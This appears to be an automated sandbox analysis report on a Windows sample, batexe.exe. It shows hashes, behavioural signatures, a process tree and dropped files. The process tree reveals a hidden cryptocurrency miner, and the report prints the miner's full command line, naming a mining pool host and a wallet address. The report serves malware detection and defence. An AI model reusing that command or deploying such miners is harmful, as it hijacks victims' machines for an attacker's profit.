Analysis
-
max time kernel
294s -
max time network
300s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
20/02/2024, 18:37
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 944 b2e.exe 1732 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 1732 cpuminer-sse2.exe 1732 cpuminer-sse2.exe 1732 cpuminer-sse2.exe 1732 cpuminer-sse2.exe 1732 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2492-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2492 wrote to memory of 944 2492 batexe.exe 84 PID 2492 wrote to memory of 944 2492 batexe.exe 84 PID 2492 wrote to memory of 944 2492 batexe.exe 84 PID 944 wrote to memory of 2220 944 b2e.exe 85 PID 944 wrote to memory of 2220 944 b2e.exe 85 PID 944 wrote to memory of 2220 944 b2e.exe 85 PID 2220 wrote to memory of 1732 2220 cmd.exe 88 PID 2220 wrote to memory of 1732 2220 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6959.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1732
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
21.7MB
MD5c778718973f253b7e38e29c73ad175f1
SHA12b6b7eb57610f95b3a115ea85424b36165bb6bc2
SHA256f516ec084bf69acd2ab8cfc50cd3281808b7c66de182b0eb796497a0a390b0c5
SHA51256e02a732c0db102d732455dcf7a0fdd8e77bf2c7ca2d60e3fd6bfaf164623305fc9b793b14123fe444e65210a6d6eac61b291c2b77fcab22995ec3fe8d5bafa
-
Filesize
6.9MB
MD556c95cf0685c85cd9b966123b43e483c
SHA14b674311f3e6f98a57c019c6375334d55d764572
SHA256df58de8aba51339b965d664e168421a658cccbfb78e79e63fa5e866d010d5b6c
SHA5123c94e0f6b452dc6fc6dfcba8dbc1ebe984cd391823d5e642066f7ffbf198ecf7bf54cbbbb87e14c530fea8aaff9d38158571cda7358744129f8ff680ad446ad4
-
Filesize
7.8MB
MD56236bc13b71ff5955d3ffcefeaf7031f
SHA1b392ae0c130dac07984b7530248ae5603a54bd05
SHA256964bf093a901a39a8f781dfd2ef48537158b0d2a28cb92d2840cebdbcbd357f8
SHA512db4e12d7b2195e290888fc2ba0f09d361fc6ad92de5ad8c9b0632b1ddec2e5961eded7d48b365b63cbecba465fee6b60e3731b51c8f43af661f18f0c1a8cb6dd
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.3MB
MD5c6a70299a07fa045f35301d35f6f06f7
SHA1bb869373f68154a742a981c871eca329371da9c6
SHA256d8e757088cff5b9c6ddf0b0539688546e8dd633e835398bfe0129be8e07139cd
SHA51201c49f2db4edd0ed7e5305e81bea4f96c8ba06f98575d1086974bb2a68b278e5d723081edf8c92b44bf1b3b554644e2c181fac654df18d7f1460c56a5f8be6e7
-
Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
2.1MB
MD53682fb33782d3dce451f31fbebb2464f
SHA123089ba96e5b4018afdfa4f7b79be58698fb1953
SHA2561549c818dc4f53dce78699030468050fe8557d425e310dd9acf8bcf97436cbb8
SHA51262526a5ad44733102bf5e40a505ed07ee63255a98602153d606f9c769e159eba8b0e9873f54bd8e4d1788ed19e37ce725df287909ebc2c773ced0eeac64f8f84
-
Filesize
4.4MB
MD51b861a6b2cacfd16ed1dc14955a6d816
SHA16904505c0fb26279767fa415e746e2995ebb8b4d
SHA2567330567ed4f133883a38343a9b20cfbbeca29ff316ebe5bf4954ecaeb79b1704
SHA5128cb565ca8dcd1c57aef3349febcc81e6c50546c2b8e1a6d9366b7e05a9e5d00cfae889b40725d7e277f21592862c2fedde8e0f9c3b8f9582374abdb4a1a00260
-
Filesize
3.1MB
MD5fd81b0c4d90b157786dda0f4a6023715
SHA13718aa831b4ceeca4d6ebd187030d9829a7e3bde
SHA2569b971c4a6e65f7e49d18dc53f7b077fe603ec63f9c0e7ea2daa060ff48cfa8cc
SHA5124bf3ac2a4c4abaacd8d9b315f78b947710e02b0b3b9a91b4d43a588995a09e4279bee6a2171304a9cfcc9f19a3eaaa1ead7704cbd454711351a6299af012e1da
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770